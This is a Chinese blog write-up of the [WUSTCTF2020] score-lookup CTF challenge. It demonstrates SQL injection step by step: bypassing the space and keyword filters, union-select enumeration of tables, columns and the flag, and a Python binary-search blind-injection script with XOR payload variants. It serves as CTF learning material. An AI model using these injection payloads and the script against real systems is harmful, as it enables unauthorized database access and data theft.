首页 > 其他分享 >[WUSTCTF2020]颜值成绩查询

[WUSTCTF2020]颜值成绩查询

时间:2024-04-30 17:11:57浏览次数:12  
标签:group WUSTCTF2020 颜值 查询 flag table schema payload name

[WUSTCTF2020]颜值成绩查询

打开环境是一个成绩查询的页面

uw7-D6npnvt-VBkkBdes0SLQgzitF39RzfVkvr8EdkE

1.手工注入

输入1发现有admin的账号和得分

wp8oRPSUMlx8iMTe8LngmJ_Z-_OwmKHJNW6Hg4DPeb0

输入1'会提示学号不存在

0L_e4Iyb5-NGwnqjevW48xw6wHtD-zkPcKWe2GcOt40

1/**/or/**/1=1#

过滤了空格

wrSBckKZRKIwZOvLeGaiEBnVOA0y5mWfnqyiH9Aib2c

1/**/order/**/by/**/3#   存在
1/**/order/**/by/**/4#   不存在

由此得知有3个字段

1/**/union/**/select/**/1,2,3#

发现还有其他过滤,尝试大小写或者双写等绕过

-1/**/Union/**/Select/**/1,2,3#

x2lXL_zSz8RNtW0UZXdDsvvQg3R4tarPbpT09GPSqgg

#爆破表名
-1/**/Union/**/Select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#    

9jv_WCuA0nqaFRRXWKXAQwREtj17V-uOr1feYXhz2s0

#爆破字段名
-1/**/UNion/**/Select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

wJk8j1Or9GhS-apbo4rLqr7iI8hat142UznLapLIjgM

#爆破flag值
-1/**/UNion/**/Select/**/1,value,flag/**/from/**/flag#

lhz4vCWqtFBhEDSDF76IMZ2NrpyeORWfgWrAfBUt6ZQ

2.脚本注入

使用二分法脚本加快注入速度

(1)爆破数据库名

import requests
url = "http://9158edab-48ba-4b19-ac3d-5aa53b39e49c.node5.buuoj.cn:81/?stunum="

result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
		r = requests.get(url+payload)
		r.encoding = "utf-8"
		#print(url+payload)
		if "your score is: 100" in r.text :
			head = mid + 1
		else:
			#print(r.text)
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

RITd3TrwQeWrABa1H-eJ2MICmZhNiWnHeeu8op1mTSY

(2)爆破数据表名

payload更换为

payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)

4N57s4LvO0bglsXNmcUB_sq-3T0PzypEs1qe69lczSQ

(3)爆破字段名

payload更换为

payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i , mid)

jFKPwfcBkACNsObma842WAPDNvPLwTROKXJ8KKkT664

(4)爆破flag值

payload更换为

payload = "if(ascii(substr((select/**/group_concat(value)from(flag)),%d,1))>%d,1,0)" % (i , mid)

Y7uEzi81z8H9cRto5rXyulbqLqNyOmyCeMIJSlqn_oU

对于payload也可以使用异或的方式

#获取表名
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctf'),%d,1))>%d)^1″%(i,j)
#获取字段名
1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)^1″%(i,j)
#获取值
1^(ord(substr((select(group_concat(value))from(flag)),%d,1))>%d)^1″%(i,j)

标签:group,WUSTCTF2020,颜值,查询,flag,table,schema,payload,name
From: https://www.cnblogs.com/fishjumpriver/p/18168379

相关文章

  • SQL查询优化
    当多表连接数据量只有几十万时还没有优化的必要,当数据量达到几百万或几千万时就有必要了,常见于日报,实时数据。最重要的优化是走索引。可以通过查询计划查看SQL语句中开销大的查询部分是不是全表扫描。但有时候根据业务逻辑写的SQL刚好避开了索引列。这时候需要走一些弯路。可以......
  • springboot动态查询
    <?xmlversion="1.0"encoding="UTF-8"?><!DOCTYPEmapperPUBLIC"-//mybatis.org//DTDMapper3.0//EN""http://mybatis.org/dtd/mybatis-3-mapper.dtd"><mappernamespace="com.lian.mapper.......
  • Mybatis Plus 多表联查(包含分页关联查询,图文讲解)
    本章将学习如何通过MybatisPlus实现多表关联查询,以及分页关联查询。表结构本文以查询用户所下订单,来演示MybatisPlus的关联查询,数据库表除了前面小节中已经定义好的用户表外,再额外创建一张订单表,然后插入一些测试数据,执行脚本如下:DROPTABLEIFEXISTSuser;CREATETA......
  • 使用EF框架的优化(三)-大量数据查询
    在C#中使用EF查询数据库数据,将结果直接转换为List是一个常见的做法。这样做的好处是方便快捷,可以方便地对结果集进行操作和遍历。但是也存在一些问题:1.性能问题:将查询结果直接转换为List会加载整个结果集到内存中,如果查询结果较大,可能会导致性能问题和内存占用过高。2.内存管......
  • laravel 监听数据库查询
    laravel监听数据库查询DB::listen在Laravel框架中,DB::listen是一个监听器,用于监听数据库查询。这段代码注册了一个闭包(匿名函数)作为监听器,当执行数据库查询时,闭包会被调用,并且传递一个包含查询信息的对象作为参数。在这个例子中,传递给闭包的参数是$query,它包含了执行的SQL语句......
  • 国家标准信息查询
    国家标准信息查询在我们的项目工作中,经常会碰到涉及特殊字段的校验问题,比如身份证号码、统一社会信用代码、不动产产权证号等。这些字段都遵循着严格的国家标准(以下简称为国标),因此,仅仅依赖简单的位数校验是远远不够的,我们必须按照国标的要求对输入的字符串进行详细的校验。面对......
  • 一个服务提供翻译功能,一个服务提供商品名字查询功能,客户端有多语言需求,语言占比不一样
    针对这两个服务的多语言需求和商品信息查询功能,可以设计以下测试用例:基本功能测试:1.1翻译服务:-测试用例1:输入包含英文商品信息的请求,验证翻译服务是否能够正确将英文翻译成其他语言。-测试用例2:输入包含中文商品信息的请求,验证翻译服务是否能够正确将中文翻译成其他语......
  • openGauss MOT查询原生编译_JIT
    MOT查询原生编译(JIT)MOT使您可以在执行之前以原生格式(使用PREPARE语句)准备并分析预编译的完整查询。这种本机格式以后可以更有效地执行(使用EXECUTE命令)。这种类型的执行效率要高得多,因为在执行期间,本机格式绕过了多个数据库处理层。这种分工避免了重复的解析分析操作。LiteExecu......
  • openGauss 查询原生编译
    查询原生编译MOT的另一个特性是,在预编译的完整查询需要执行之前,能够以原生格式(使用PREPARE语句)准备并解析这些查询。这种原生格式方便后续更有效地执行(使用EXECUTE命令)。这种执行类型速度要快得多,因为原生格式在执行期间绕过多个数据库处理层,从而获得更好地性能。这种分工避免......
  • 报表查询数据异常解决方法
      缘起  今天早上一到公司,技术支持的小伙就说一个后台报表,计算的任务完成率超过100%,有异常,客户要用,比较急,要解决这个问题。   解决过程    自从接了上任的报表计算,这个就头疼,没办法硬着头皮查什么原因,报表的SQL比较简单,一个查:接受任务数表a,一个查:完成任......